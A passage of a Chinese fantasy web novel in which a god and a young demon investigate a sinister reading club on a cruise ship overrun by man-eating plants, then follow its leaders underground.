藤蔓们一动不动,唯有花儿的光亮还在明灭,似是紧张的呼吸。
男孩索性坐下来,晃了晃穿着长袜的小腿,觉得这样很有意思。
他神色天真,和不寻常的布景放在一块儿,倒真有几分像该在电影院放映的童话故事。
他什么都没说,就这么看了一会儿,抱着枝干坐滑梯似的呲溜滑下去,拍了拍裤子,继续哼着先前被打断的调子向前走。
许我向你看。
许我向你看。
他面前原本密密麻麻纵横交错的藤枝,此刻全都整齐划一地向两边撤开。绿得瘆人的枝叶瑟瑟蜷缩在墙面和天花板上,为他搭建起一条独一无二的红毯,送他走向更高处的舞台。
而他的身后,藤蔓们争先恐后又向来时的洞里钻,谁也不让谁,生怕落在后面要被惩戒。
小孩站在走廊尽头,欣赏着这一出仅为自己表演的大戏。
几秒钟内,所有藤蔓尽数消失,要不是地板还豁着一个大洞,好像它们从来没来过。
撒迦利亚挂着愉悦的微笑躬身,左手按在心口,右臂自然垂落,如同贵族家小公子的典范,姿态优雅,冲着无人的台下致谢。
等他再度起身,洞不见了,地毯和地板全都恢复原样。
他是唯一的观众,也同样是最好的演员。
谢幕。
*
撒迦利亚回到八楼,远远闻见一股怪味。
他皱了皱鼻子,判断这味道来源于套间自带的小厨房。
他心里一骇。
难道是……
小孩来不及多想,立刻冲进去,果然厨房烟熏火燎,看起来刚经历一场摧残。
姜宵站在门口轻掩口鼻,眉宇间有一点苦恼。
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祂倒是一如既往纤尘不染,别说厨房爆炸,就是火山喷发,也不会影响到神主的洁净。
见小孩儿回来,祂抬眼看过来,神色竟然有几分无辜。
撒迦利亚瞪圆眼睛:“哥哥,你做什么了?”
姜宵不说话,往旁边退半步,让出塞满的垃圾桶。
撒迦利亚上前一看,堆得高高的糊了的菜,全是一个色,根本认不出都是些啥。
男孩哑然,好半天才找回自己的声音:“哥哥在做菜吗?”
姜宵颇为不自然地眨了下眼,然后点了点头,幅度小到可以忽略不计。
神明并无进食的需求,或者说根本没这功能;的确有一些愿意周游时空尝尝各族手艺,但那些神中不包括神主。
祂怎么就突然心血来潮要做饭?甚至不是用神力完成,而是对着教程亲手做——差点被殃及的平板电脑可还吸在冰箱门上呢。
撒迦利亚瞥了眼菜谱,觉得有点眼熟,没多想,在冰箱里找到另一半还没惨遭毒手的菜。
他并不想在姜宵面前使用太多能力,神魔有别,且光暗相斥,更何况有些秘密还是秘密,还是收敛点儿好。
小孩戴上围裙,撸起袖子,个子不够高得踩板凳,但切切洗洗的动作相当娴熟。
他知道姜宵一直在厨房门口看自己,应当有许多问题,最典型比如从哪儿学的。
只是姜宵毕竟是姜宵,什么也不会真的问出口。
做菜中途还是偷懒用了点儿魔力,没过多久全部摆盘完成,有荤有素,中西合璧,卖相也很不错。
他让碗碟刀叉们自己排列有序地飞去餐桌边,还很有仪式感地点了几根红烛。
姜宵坐下来,在男孩期待的眼神中拿起汤匙。
酥皮奶油汤的香气浓郁但不过分甜腻,蘑菇入口即化,放在正儿八经的西餐厅里也不逊色。
“怎么样?”撒迦利亚趴在他旁边,目不转睛。
温热的、可以饱腹也可以满足口欲的食物,对于神明来说是含有而新鲜的体验,但不得不承认这孩子的确有做菜的天赋。
祂尝了第二口才说,不错。
动作比语言更具有肯定性,小恶魔弯起眼睛,尾巴高兴地摇了摇。
撒迦利亚也坐到另一边动刀叉,越吃越对自己的手艺感到满意。
可惜神明不需要吃饭,否则他一定要把姜宵的厨师一职占为己有。
小孩吃着吃着,忽然停下来。
他想起来了,这些菜为什么在看菜谱的时候就觉得眼熟——全都是之前看电视时见过的,很有可能当时还咽过口水。
人类制作的美食数不胜数,看过也就忘了,连他自己都没想第二遍。
但神明注意到了。
所以,姜宵之前是想……尝试着做给他吃吗?
撒迦利亚感到一种近乎耳鸣的震颤,这振动敦促着他跳下椅子,绕过餐桌,在摇曳的烛影下抱住姜宵的腰。
神明从不因他的突然亲近而惊讶。神明也不会因为任何事惊讶。
既无回应,也不推拒,就那么任他一声不吭地撒娇。
“宵宵……”
他的嗓子里哽着模糊的情绪,念出的名字都带上了颤栗。
“嗯。”
神明看见小恶魔的尾巴悄悄倚着自己,似是既心生怯意,又有所期盼。
“我……”
撒迦利亚没说下去。
不敢说。
我知道你不认为神和魔能够产生如人类般的「爱」,也清楚感情在神界是不可触碰的禁忌。
但我对你。
从永夜降临之前。
从拥有“撒迦利亚”这个名字之前。
从二十年前。
从……那个时候起。
从来都是真的。
12.第 12 章
银色山泉号已经行驶了五日,明日返航,后天就该靠岸了。这艘船有很特别的魔力,会让人们模糊自己身处何地,忘记来意。
佟灵已经不记得自己最初是要来找老爸的了,非但没见到佟老板,反倒像个真正的成员那样热衷于参加每晚八点的读书会,每次都听得津津有味。
不过他很难像别的听众那样全情投入,丝毫狂热不起来,信仰也没有动摇——还是更相信如今神明的力量。
祂毕竟创造了这个世界,创造了他们。要是因为两年极寒就彻底推翻和否定祂的存在,是不是太草率了一点?
“我总觉得好奇怪啊。”他私下里跟宁槐念叨,“他们口中的‘人类’,‘自己’,感觉好像和我、我周围的人一点儿关系都没有,倒像是在捧一个新的神——只不过那个神的代号叫‘人类’、‘自己’和‘我们’。”
少年平日里看着没什么心眼,有些时候却意外得敏锐。
宁槐没有直接赞成或者反对他的想法,说了另一件事:“我们快要到海域边界了。”
佟灵看向舷窗外,依旧是昏昏沉沉的黑夜,好像永远不会迎来日出。
他好奇:“边界也看不见太阳么?”
宁槐摇摇头,他也不知道。
从水域上来说,最初永夜覆盖的只有不见城的近海,理论上出了这块儿就该驶入正常海洋,可如今银色山泉号在海面上漂流几日,依旧没有逃脱它的追捕,寒冷的夜晚好像怎么也甩不掉。
两人都有相同的、不敢说出的猜测——永夜的范围,在扩大。
佟灵鸡皮疙瘩都要起来了,连忙转移话题:“小宁老师,你有没有觉得房间里这两天变得很潮?”
宁槐也发现了。尽管房间里的温湿度控制台上显示不变,可体感湿度迅猛增加,皮肤上总黏着水汽,衣服摸起来潮得难受,连天花板的边角和墙纸缝隙中都渗出阴郁的绿色。
如果银色山泉号是个人,那这简直像体内的病毒在蔓延。
不仅他们,其他乘客很快也意识到这点,向总台投诉。
工作人员焦头烂额地检修通风系统和空气净化设备,哪哪儿都好好的,找不出问题。
舱室里的绿色很快扩散到无法忽视的地步,越来越多的乘客对此心生不满。
但船员们也搞不清楚它们究竟是什么,在银色山泉号工作这么久,谁也没见过。常规的消杀手段完全不起作用,愈演愈烈的绿色恐慌席卷了全船。
“现在就给我开回不见城!”
“下船,让我下船!”
“我的包都被那玩意儿染色了,我问了SA,修复不了的!你知道我的包多少钱吗?把你们全卖了也买不起!”
“回去我会向航管局、卫生局和消协投诉你们,等着赔到倾家荡产吧!”
人群闹哄哄地聚在大厅,各有各的心思。
直到一声尖叫盖过所有吵嚷。
“死人了——死人了!!!”
众人悚然。
根本无需问发生了什么,扭头一看就全明白了。
一个在集会上颇为活跃的中年人歪歪地躺在休息椅上,胸前破了个洞,衣服被喷涌而出的鲜血染透,看不出原来的颜色。
他的眼睛几乎瞪出眼眶,像是直到死都难以相信发生了什么。
受惊的人群早就退后数米,让出死亡现场。现在陪着他的,只有旁边那株半人高的盆栽。
——而贯穿他胸膛的,正是它看起来绵软无力的叶子。
那是盆琴叶榕,寓意家宅兴旺,招财还养眼,很常见的室内植物种类。
它的叶片宽大平滑,此刻像人的手掌一样虔敬地捧着什么,溢出来的液体直往下滴。
有眼尖的人看清楚叶子包裹的东西,惊叫一声差点昏过去。
那是一颗心脏。
死者的心脏。
琴叶榕当着上百号人类的面,不遮不掩,不紧不慢,享受美食似的吃掉那颗心脏,还意犹未尽地吸收了血液。
全部消化完毕,它舒展叶片伸了个懒腰,而后枝叶的翠色更加明艳,连原本细小的豁口都复原。
一颗人类的心脏,为它补充了营养。
船上登时炸开了锅。
密闭的房间里,病者揉了揉额头:“心肝儿,去看看吧。他们太吵了。”
少年脖子上的锁链在这句话之后化作隐形,他柔声应是,站起身来。
蒙在眼上的黑纱滑落少许,他抓住它,重新系好。
*
“银色山泉号”行驶的第五天晚上,八点的读书会未能照常进行,全船戒严,所有乘客待在自己的房间,不得随意走动;如果舱室原本有植物,就集中到多功能厅中。
船上的工作人员戴着头盔,穿好(不知为何船上会有)的盔甲,一手拿着厨房用喷火枪,一手持防爆盾,挨家挨户对盆栽、花卉进行扑杀——哪怕它们看起来和正常的、普通的植物没有任何差别。
植物没有痛感,更不会挣扎,甚至在许多人眼中它们都不能算是生命;然而在它们被火点燃的刹那,围观者还是感到一阵心惊。
不仅是同情的震颤,更是同病相怜的……痛楚。
仿佛火不是烧在它们身上,而是自己。
那是种既清晰又渺远的痛彻心扉,叫人想要不顾一切扑灭、保护它们。
好在,这奇诡的幻觉没有持续太久,几秒钟后,原先或艳丽或素雅的花草已焚烧殆尽。
工作人员清理灰烬时,在场的所有人都听见一声叹息。
是植物的亡魂发出,还是自己。
谁知道呢。
多功能A厅中集中了五六十人,或焦躁或恐慌,还有在低声祈祷的,念念有词到一半想起自己已经选择背弃旧神,而新的信仰尚未到来,又不知该向谁乞求了。
惶惑不安的人群中,唯有一大一小镇静得格格不入:
成年的那个捧着一本书——在这打着“读书会”的名号汇集的几百个人里,竟然是唯一一个正儿八经在看书的;
大人什么样儿带出来的孩子就是什么样儿,旁边的男孩即没有上蹿下跳,也没有一定闹着玩手机,而是趴在椅背上安安静静打量着周围人,和那些大吼大叫踢椅子的熊孩子对比鲜明。
二人几乎没出过声,非常低调;可在这种吵嚷之时,低调反而成了另一种突兀,格外吸引目光。
不少人都注意到他们的存在,窃窃私语。
“看看别人这家庭教育,啧啧。”
“我儿子要能这么乖乖坐十分钟——不,五分钟,我都要烧高香了。”
“这当爹的是不是太年轻了点儿?应该是兄弟吧?”
“好像是,我听见小的喊大的‘哥哥’来着。”
“俩长得也忒好看,家里什么基因啊……”
神明对自己的外貌从来没有准确认知,以为换上人类的衣服,以为伪装成黑发黑眼——这是祂观察到不见城里最大众的配色——就能变得泯然众人。
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可即便已经做了这些,祂走到哪儿都会引起超出正常水平的回头率和议论。这让祂感到困惑。
人类在神明眼中,就像蚂蚁之于人类。
蚂蚁的视线当然产生不了伤害和不适,但总被盯着看、走到哪儿被跟到哪儿,还是有点怪。
姜宵合上那本讲兔子洞和奇妙冒险的童话书,作势起身。
撒迦利亚立刻注意到祂的动作:“哥哥要出去么?”
“出去透透气。”姜宵说。
担心有杀人植物寄居在阴暗潮湿的通风管道里,连空调都暂停使用,多功能厅里搬来两台和除湿机和风扇,徒劳无功地工作着,嗡鸣声和人群的嘈杂混在一块儿,吵得头疼。
哥哥去哪儿自己肯定也要去,小孩从椅子上跳下来。
姜宵走到门口,戴口罩的工作人员伸手阻拦:“不好意思先生,您现在不能——”
姜宵瞥了她一眼,工作人员接触到那双深不见底黑眸的目光,瞳孔颤了颤,而后垂下手臂,像个了无生气的提线木偶,笑容却依旧专业:“好的先生,请您注意安全。”
撒迦利亚跟在姜宵后面大摇大摆出去了。
许多乘客原本就一直盯着姜宵,自然也都目睹了这一幕,不满地嚷嚷起来:
“凭什么这人能出去?”
“我也要出去!”
“我要上厕所,憋不住了!”
“你们这是限制人身自由,回去我就告你们!”
有些人心情不好,怨怼集中到出头鸟,讲着讲着不堪入耳起来。
撒迦利亚可听不得这个。
那些跳脚的人看见已经走出去的小少年又折了回来,对他们龇了龇牙,原本焦糖色的瞳孔一瞬间变得澄亮。
无形的威压碾过所有人的脊髓,偌大的厅内顿时鸦雀无声。
直到小孩的身影消失,他们才回过神来,纷纷搓了搓胳膊上因恶寒激起的鸡皮疙瘩。
明明挺可爱一孩子,刚才那模样怎么像个小魔鬼似的?
他们没空继续想这不同寻常的二人,又有几人来到多功能厅。
看清来者,众人眼前一亮。
“大主教!”
“主教大人,您可算来了!”
“这到底是怎么回事儿啊,咱们什么时候能回家?”
“那植物……生什么病了?”
大主教今天的祭披有点儿向右边歪,好像故意要挡住什么的,而且有心人发现,其上的红褐色颜料比过去更加浓郁。
大主教走到主席台上,左手抬起的姿势也有点儿不自然,碰了碰单片眼镜:“大家稍安勿躁。”
坐在前排的人嗅到若有似无的铁锈味,好像……像是从大主教身上传来的。
他们心生疑惑,却也只是疑惑。毕竟大主教在这儿好好站着,面色如常,不像出了什么事、受了伤的样子。
另一些人则注意到他今天带来一个新助手,站在最常见的那名女助手旁边,身形纤细,一举一动弱柳扶风,宽大的兜帽遮住大半张脸,露出尖尖的下颌。
那应当是个很漂亮的少年人,可人们看着看着,浑身泛起和此前被小男孩警告时相似的寒意。
少年的双手藏在袖子里,所以谁也看不见,他的十指指甲都是刺目的红,如同鲜血涂染。
他面向大主教,薄唇弯起一点弧度,浅淡的笑意让苍白的脸孔无端染上几分惊心的艳色。他无声地做口型:
‘时间快到了。’
13.第 13 章
今夜无风,雪也停了,海面风平浪静,星月高悬。
这样稀松平常的夜晚,在不见城已是两年未见的奢侈。只不过登上甲板的两人一个不住在城里,另一个关在室内,谁也没有鲜明的体会。
甲板早就被厚重的积雪吞没,金属接缝难以辨认,在冷白月光下泛着银光。栏杆上爬满冰晶,灯柱也凝着霜,昏黄微光被浪潮拍打得时明时暗,随时都会熄灭。
哪怕雪幕暂停,憧憧夜色仍没有边际。桅杆顶端的风范哗啦作响,“银色山泉号”孤独地停泊于世界尽头。
对于不见城的人们而言,室外是极端的,是不安全的,是恐怖的;但对撒迦利亚来说不是。
小孩换了长靴,踩雪踩得咯吱咯吱响,像伴奏。短裤和靴子之间的小块皮肤就这么暴露在零下几十度的空气里,也不嫌冷。
姜宵走在前面,步伐从容,如履平地。与撒迦利亚每一步都要陷进雪地、再费力拔出不同,祂的脚步轻盈得不可思议。
小孩观察了下,神明的足底与雪面之间还隔着几厘米的空隙,换句话说,祂是踏在虚空上的。淡淡金光沿着祂的足迹蜿蜒成莲的轮廓,流转于冰雪之间,而后消散。
姜宵在边缘眺望了好一会儿仍不见男孩跟上来,转头去看。
小孩弯腰在雪里干什么,很专注的样子,恶魔尾巴有一搭没一搭晃着。
回神域之前,祂特意跟男孩告别过,无法确定下次什么时候再见,还把小孩弄哭了,肝肠寸断得仿佛重逢遥遥无期。
结果再临人间第一时间就去找他了,还带到了游轮上。
名义上是为调查行踪诡秘的读书会,以及更根本的、不见城永夜雪灾的真相。可实际上为了什么——除了需要一名助手,还为了什么。
神明是不该有私心的,诸神之神尤其。
船上的人类在质疑神明,亵渎神明。
神明本身,又何尝没有戒律之外的动摇。
姜宵静静地看着小孩玩雪,很快撒迦利亚也完成了大作,双手小心地捧着,欢快地朝祂跑过来。神明给了他启发,这一次在雪上轻飘飘地滑,而不是像个人类老老实实走路。
“宵宵。”男孩的称呼完全是随心所欲,“送给你!”
姜宵看向他手中,并不意外地看见一朵白玫瑰——每一片花瓣都是用雪捏出来、再黏起来的,隐约的指痕像是为玫瑰烙下独一无二的纹路——他刚才就是在忙这个。
相见的每一日,他都会送祂一枝白玫瑰。这是撒迦利亚的习惯,是他们之间无言的约定。
姜宵等着他主动塞到自己手里,小孩却没有这么做,表情喜滋滋的,带着点儿得意:“今天不一样哦。”
神明缓慢地眨了下眼。
男孩合拢双手包住雪玫瑰,往里吹了口气。
再摊开手时,一瓣瓣飞了出来——仔细一看,现在不再是玫瑰花瓣,而是一只又一只栩栩如生的白色蝴蝶。
它们振翅飞向皎洁月色,飞向比月色更皎洁的神明,环绕着祂翩然起舞。
神明抬起手,其中一只冰蝴蝶停在祂屈起的食指指节上,倏然化作流光,闪烁着没入夜空。
另一些仍簇拥着祂,在潋滟的光晕中缓缓聚拢,重新凝为晶莹剔透的白玫瑰。
神明的指尖拢住花茎,低头嗅着那馥郁芬芳。花瓣轻颤,若有似无擦过祂的唇角,仿佛一个吻。
一个被肖想、奢望、觊觎的,却只有玫瑰可以完成的吻。
那一幕太过令人怦然心动,少年屏息,眼都舍不得眨,更不敢出声惊扰了这月下如梦似幻的画卷。
姜宵收起玫瑰:“很美。谢谢。”
撒迦利亚的视线从祂宁静的脸庞滑过,移向深蓝的夜幕,轻声道:“还是月亮更美。”
姜宵没有听见,或者听见了不打算回应,看向黑魆魆的大海:“去看看吧。”
男孩走过来扒着栏杆往下看,海面上竟然漂着大大小小的浮冰,有些疑惑:“我们不是应该到温暖的水域了吗?”
“本来是的。”姜宵说,“但永夜感染了这里。”
浪已经停了,海面像块黑沉沉的冷铁,浮冰与浮冰碰撞出涟漪,有的平整,有的嶙峋,有的仅能容下一只猫一只狗,有的则撑得住数十人。
寒冬里的海风凛冽刺骨,卷起冰霜和水汽灌进冰块之间的罅隙,逼出断裂似的响动。
脚下就是容纳了几百人的各个船舱,先前还能隐隐听见他们躁动的脚步声、交谈声,可此刻静得出奇,似乎也随着海面一同冰封。
不过眨了下眼的功夫,神明已经不在船上了,正站在不远处的冰面远眺。
男孩急急忙忙要跟过去,倒没有使用瞬移,吭哧吭哧翻过栏杆,站在直打滑的边缘,眼一闭心一横从四十多米的游轮顶层往下跳——
急速下坠到一半,他的身体骤然变轻,像落入风的怀抱。
小孩睁开眼,看见不久前自己亲手做出的雪玫瑰花瓣翩跹着托举起自己,待他平稳落地,散作雪亮的流光回到神明身边,凝成一只冰蝴蝶,静静栖息在神明的肩上。
撒迦利亚脚下的冰面直径数米,不算厚,他稍微动一下就跟着摇晃,像个跷跷板。
小孩转了转眼睛,变回小绵羊,四肢着地显然重心稳了许多,目测了下距离轻巧一跃,从一块冰跳到另一块上。
他发现了新玩法,跳来跳去不亦乐乎,像个月光下飞舞的黑色小精灵。
小羊羔跑出很远又回到神明身边,晃了晃尾巴——不是短短茸茸的羊尾巴,依旧是细长的恶魔尾巴——啪嗒啪嗒在冰块上踏着蹄子,眼睛亮晶晶地看着神明。
姜宵摸了摸他的羊角:“让我看看你是不是成长了。”
小羊歪头,这是什么意思?
姜宵的目光落在不远处一块巨大的、堪称冰山的浮冰,简单地指示:“让它碎掉。”
小羊明白过来,神明养育他也不少时日了,现在想看一看他的能力如何。当家长的要求这个再正常不过。
撒迦利亚用角拱了拱姜宵的手心,而后蹄子在冰块上蹬了蹬以助力,接着敏捷而平稳地跃过他和冰山之间一连串大大小小的碎冰。
到了近旁才发觉这座冰山比想象中大得多,小羊差点儿把自己仰倒才看清它的全貌。他略一思忖,卷起尾巴,敲门似的敲了敲那块冰,而后屏息——
尾巴尖尖上的箭头消散成一团火,那火沿着它和冰块之间碰触的支点迅速蔓延开来,无须风的助力也能即刻形成燎原之势,转瞬间覆盖住整座冰山。
冰与火在黑夜里交缠、对峙,原本平静的海面点燃连绵的火光,撕裂月色下的寂静。
而这一切的始作俑者欢快地蹦哒回神明身边,摇头晃脑等待夸奖。
神明的蓝眼睛含着一丝赞赏,再度摸摸小羊脑袋:“做得不错。”
眼看那火势愈演愈烈,几乎要殃及近在咫尺的游轮,祂抬手张开五指,像接住一片雪花那样轻柔合拢,所有的烈焰顷刻间消弭于无痕。
海面重归沉静,融化的浮冰推出一波又一波的浪,推着夜色缓缓流淌。
得了肯定的小羊羔变回男孩,心情灿烂极了,重新点火玩儿——当然,这一次小得多,最多也就把冰
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块烧出几个窟窿。
玩着玩着忽然脚下一个趔趄,差点滑进海里,撒迦利亚以为自己失手把脚下的冰也融化了,赶忙去看姜宵有没有被波及,幸而后者同样安好。
很快他意识到不是自己没站稳,而是冰块在动。
浪变大了。
周围的海面和浮冰全都颤动起来,他找了一圈源头,最后发觉一叶障目,是“银色山泉号”在摇晃,好似被无形的大手推动。
姜宵也注意到了。两人退向更远处的冰面,本就经受内部异变折磨的游轮陡生新一轮险情。
此前撒迦利亚在走廊遇到过的那株巨型藤蔓,终于显现真容,自游轮的最底部破土而出,粗壮的枝干扭曲、缠绕着向上生长,如擎天巨柱贯穿整个船体。
庞大的船身倾倒,甲板断裂,舱室多米诺骨牌似的连续坍塌,船体内部的结构森森白骨般暴露在寒风中。
奢华而恢弘的“银色山泉号”,像小孩子折的纸船那样,轻易地被撕裂成两半,缓缓沉入飘满浮冰的大海。
没有尖叫。没有哭泣。
来不及尖叫,也来不及哭泣。
拔地而起的藤蔓抽长出无数细小须蔓,每一枝上都挂着一个人类。
他们大多睁着眼睛,像那个被琴叶榕掏去心脏的乘客一样,因为事情发生得太快,根本来不及反应,也不理解为何身体上会出现一个洞,不理解碧绿的藤枝怎会穿过前胸后背,不理解那滴滴答答的不是雨,而是自己的血。
数百人挂在高达几十米的藤条上,远远望去极为壮观,又极为惊悚。
藤蔓还在蠕动,攀着无形的天梯,好像要一直一直生长,长到神域去。
叶子和花苞雀跃地吞噬着无处可逃的人类,反过来加速它的膨胀。
这一船乘客,这些读书会的成员,从来不是什么被选中的新世界信徒。
从一开始,他们就是祭品,是献给孕育中的异神的养料。
不知何时又起风了,神明站在原地,长发与衣角被风扬起。
他们惊惶。他们不甘。他们在死去。
那是祂的造物,祂的信徒,祂的孩子们。
自始至终祂的神情没有丝毫变化,蓝眼睛像是结了一层冰。
只是很轻,很慢地蜷了下手指。金色光辉隐隐浮现又湮灭。
似乎想要伸出手,又不得不克制。
祂是万物主宰,是终极意志。抬抬手就能救下所有人,一个响指可以让时间逆转,眨下眼可以让这场骇人的灾祸从来不存在。
但祂不能。
诸神之神责在维系,不可干预。
打破戒律会引起反噬,这个原本就摇摇欲坠的碎片世界将会因不可挽回的失衡被彻底抹去。
对几百人见死不救,还是让另外亿万生命灰飞烟灭,就算是神主也只能二选一。
祂在因果里犯过一次错,代价之深、之重,再也不可承受第二次。
但祂的指尖还是不免被冰海的浪潮打湿,泅出一丝微不可察的颤栗。
接着,一只温暖的小手握住祂的颤抖。
撒迦利亚仰起脸,眼里满是担忧:“哥哥?”
神明垂眸。
他就是祂的那个需要用一生来偿还的「错误」。
祂阖上眼又睁开:“走吧。”
小孩什么都不问,什么都不说,捉住祂的手乖顺地跟在一旁。
离开之前,又回头看了眼快要合二为一的游轮与藤蔓。
冰塑的玫瑰,雪琢的蝴蝶,消融在染血的海水里。两人的身影渐渐被长夜吞没,而明月依旧高悬。
14.第 14 章
“银色山泉号”的沉没,没有在新闻媒体上掀起丁点波澜。几百人失踪足以成为震惊不见城、乃至全世界的大案,警局却没有接到一例报案。
没有家属惦念,没有任何人谈起他们的缺席,好像这些人从来不曾存在于世。
当然,也不是没有幸存者,童话牧场的佟家父子俩就是为数不多的幸运儿,但他们对这艘幽灵游轮、以及死里逃生的一周没有丝毫记忆,连牧场的员工都很确信他们最近一直待在牧场,没离开过。
邻里们近来聊得最多的是那个奇怪的传教士,戴着单边银链眼镜,穿一件标志性的红褐色披风,没了右胳膊,挺可怜的;可他挨家挨户缠着人宣传他那个什么“读书会”烦得很,人们又收起了同情。
佟灵对什么都好奇:“老爸,你不去参加看看?”
佟老板一摆手:“我又不看书,参加什么劳什子读书会。”
佟灵就问宁槐:“小宁老师你去吗?我记得你很喜欢看书。”
前段时间是大学的期末周,家教课随之暂停,他有些日子没见过宁槐了。
宁槐笑笑:“太忙了,没时间。”
这事儿也就没人再提。
过了几天,费助理陪着姜先生来看小迦,进来就问:“门口的是你们家客人吗?”
佟老板一惊,连忙去看。
那个被嫌弃的传教士坐在门口的花坛上(早就没有花了),身上落了厚厚一层雪,不仔细看还以为谁堆的雪人,碰一下,半天才睁开眼睛。还好,还活着。
佟老板怕他冻坏,也怕他冻坏了讹自己,赶紧喊员工过来把人架进屋里。
暖气很快融掉积雪,淌了一地。佟老板半是嫌弃半是不解:“你说你来就来吧,搁门口蹲着算什么事儿啊?”
男人的镜片已经冻裂了,视线失去焦点,反应慢半拍讪讪一笑。
他自我介绍叫樊蒙,是读书会的创始人,可到处宣传都找不到新成员,属实没办法。
牧场的员工道:“你那不就是一群人聚在一起看书么,又不是完不成不给发工资,那么紧张干什么?”
不忘顺便拍马屁:“你看,我们老板就从来不拖欠工资,还发奖金,人可好了。”
佟灵:“不对啊,你说你是创始人——那你自己不就是老板么?”
樊蒙接过佟灵找的毛巾擦了擦头发,吞吞吐吐:“这个吧……”
他不愿意说,其他人也不逼他,该干嘛干嘛去了。
樊蒙转转眼睛,发现两个没见过的人,又兢兢业业布道:“哎,两位老板,有没有兴趣加入我们读书会?修身养性、磨练意志……”
佟老板见他骚扰自己的贵客,连忙过来驱赶:“去去去,读个书还有这么多歪门邪道,少在那儿洗脑了。”
樊蒙还没吱声,一个冷清清的嗓音响起:“你的手怎么回事。”
是更有老板派头的那位在问。
樊蒙抬眼,对上那双就算同是男人也不得不称赞美丽的眼睛,瞳孔纯黑,如幽潭静渊,多看一眼好像灵魂也要被吸进去。
他下意识把残缺的臂膀往披风里缩了缩,可众人早就看见了,藏也没意义。
樊蒙搓了搓鼻子:“就是……出了车祸。”
地下几层没修好之前,人们被迫在暴风雪中出行,视野和车子性能的断崖式下降导致车祸频发,这个理由很寻常,也很正常。
不见城被抹掉了和“银色山泉号”有关的全部记忆,但神域不会。
蜚蜚没能跟着神主上船调查,但情报获取得一分不少,一眼认出樊蒙就是旧读书会那个颇有演讲天赋的“大主教”。
可他如今断了条胳膊不说,还要这样亲自到处求人,哪有半分彼时的意气风发。
他的落魄,是因为旧读书会的陨落吗?
害了那么多条性命死不足惜,只是少条胳膊已经很便宜他了。
不过,就算是所谓的大主教,从失事的游轮中幸存下来之后,也一样要被强制修改记忆吗?
——岂不是意味着,在大主教背后还存在更高阶的职级?
蜚蜚想进一步提问,姜宵低声道:“去把他接过来吧。”
当人下属就得听人吩咐,蜚蜚咽下已经到舌尖的话:“是。”
佟灵自告奋勇带他去,宁槐陪着一起,佟老板则被员工叫去查看设备,一时间热热闹闹的大厅只剩下樊蒙和姜宵。
“樊先生。”姜宵主动开口。
樊蒙的心脏重重一跳,明明是第一次相见,可被这个人望着、被喊了名字,他从头到脚每个毛孔都争先恐后冒出畏惧和紧张,讲话都不利索了:“啊……啊?”
姜宵抬眼,长睫眨动如蝶翼掠过静流,不可直面,也不可拒绝:“我对你的读书会有兴趣。”
*
永夜的范围在扩大,不仅是不见城的主城区,连周围的乡镇也已经被极寒吞噬。
被暴风雪鞭笞和侵蚀的地上越发寸步难行,除了交通,建筑也在集体往地下转移。
上回宁槐找到的读书会会址在摩天大楼的高层,这一次樊蒙引路的地点则一直往下。
那是个360度透明观景的电梯,虽说这个仍在施工的深井没什么可欣赏的;照明设施同样没有完全接通,为数不多的那些还接触不良,明明灭灭把深井暴露在外的钢筋结构照得像白骨化的残骸。
周遭灰暗颓丧,只有电梯带着轰鸣声匀速下降。它并非垂直降落,而是沿着螺旋状的轨道向下,像株豢养在培养皿里的巨型藤蔓。
——吃掉“银色山泉号”的那株藤蔓。
“咩?”黑色小绵羊紧紧贴在主人身旁,亮汪汪的眼睛里写满担忧。
电梯好可怕。这里好可怕QAQ!
姜宵没说话,安抚性地摸了摸他的犄角。
承载量二十人的电梯里现在只有两人一羊,樊蒙想假装自己没看到都不行:他简直不理解,入会就入会吧,带只羊干嘛啊?
读书会的现役成员们也不是没有养宠物的,可谁没事把家里猫猫狗狗踹来开会啊?KPI完不成指望它们凑个人数么?是不是太离谱了点儿?
更何况这不是常见的小猫小狗小仓鼠。是一只羊。哪怕是还在喝奶的小羊羔,那也是——一只羊啊!
樊蒙有好几次想提出反对意见,还没开口就被瞪了回来。
看上去温温软软的小绵羊居然能有那么凶的目光,好似只要自己讲半句分开,他都会发动攻击;樊蒙都怕他下一秒就要用犄角顶自己、或者羊蹄子踩上来了。
他畏畏缩缩闭嘴,结果那小崽子转头就冲主人撒娇,乖巧得像什么绝世小甜心。
……怎么还有两幅面孔!
深井底部的空气循环系统时好时坏,电梯越往下空气越稀薄。樊蒙倒是无所谓,他已经用一条胳膊买了办事不力的教训,以及上头更深层次的信任,有特殊的呼吸方法,可是……
姜先生白净清瘦,看起来就不是健壮的类型,万一喘不上气晕倒在这儿怎么办?
樊蒙偷偷瞄一眼,姜先生神色如常,看上去没有受到任何影响,连旁边那只小羊都好得很,犄角顶在玻璃轿厢上往下看,还哼哼唧唧的,好
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像在催促快点到达。
钢铁藤蔓终于将他们送抵目的地。
电梯门开了,戴着黑色波奈特的目盲少年面带微笑:“欢迎您,客人。”
说实话樊蒙有点儿怕这小子,不仅因为他是那位的近侍,更因为他实在长了张过分漂亮的脸孔——正常限度的美丽叫人心情愉悦,超过平均水平的惹人垂涎,可突破了一定阈值后就有了攻击性,什么爱慕都会变成深深恐惧。
不像人类,更像是……艳鬼。
这是姜宵第二次见到这个少年,但对后者来说是初次见面。
少年的眼前蒙着黑纱,却仿佛“看见”了祂,露出短暂的、被惊艳到的表情,而这个表情让他原本苍白如纸的面庞多了几分活泛的真实。
小绵羊贴在主人身边,仰着脑袋打量陌生人,把握着他人对姜宵的亲疏远近——不尊重不行,靠太近更不行!
少年微微讶异:“有不止一位客人么?”
他伸出手,像每个盲人想要确认物体那样试图触摸。
小羊看出他的意图,向后退半步,头也垂下一点,喉咙里发出近似警告的呜咽。
他可是神明的小羊羔,不是随便什么人都能碰的!
失去一种感官,其他的感官会加倍敏锐。少年收起手微笑:“我知道了。”
威胁解除,小羊踏踏蹄子,甩着脑袋喷了个响鼻,趾高气昂地贴到主人身边。
这是我的。我的。我的。
只属于我的。
少年说话轻声细语:“请随我来,大主教大人恭候多时了。”
*
如果说深井电梯的轨道像螺旋攀长的藤蔓,那么地底的构造更像一个茧,四周墙体受到冷热空气的反复对撞突出不可名状的弧度,灯光折射得模糊不清,映出墙壁上蜿蜒的、羽化般的痕迹。
姜宵在茧里看到一张病床,一个被枯木融合,又或者本就寄生于枯木上的病人。
“又见面了。”病者微笑,“看来,您对我们的读书会很感兴趣。”
少年温驯地站到病床后,并未流露出丝毫诧异。
但樊蒙脱口而出:“主教大人何时见过他?连我今天都是第一次。”
“在‘银色山泉号’上,就在我隔壁的影厅。”病者态度随和,“小樊,你的观察力还要锻炼。”
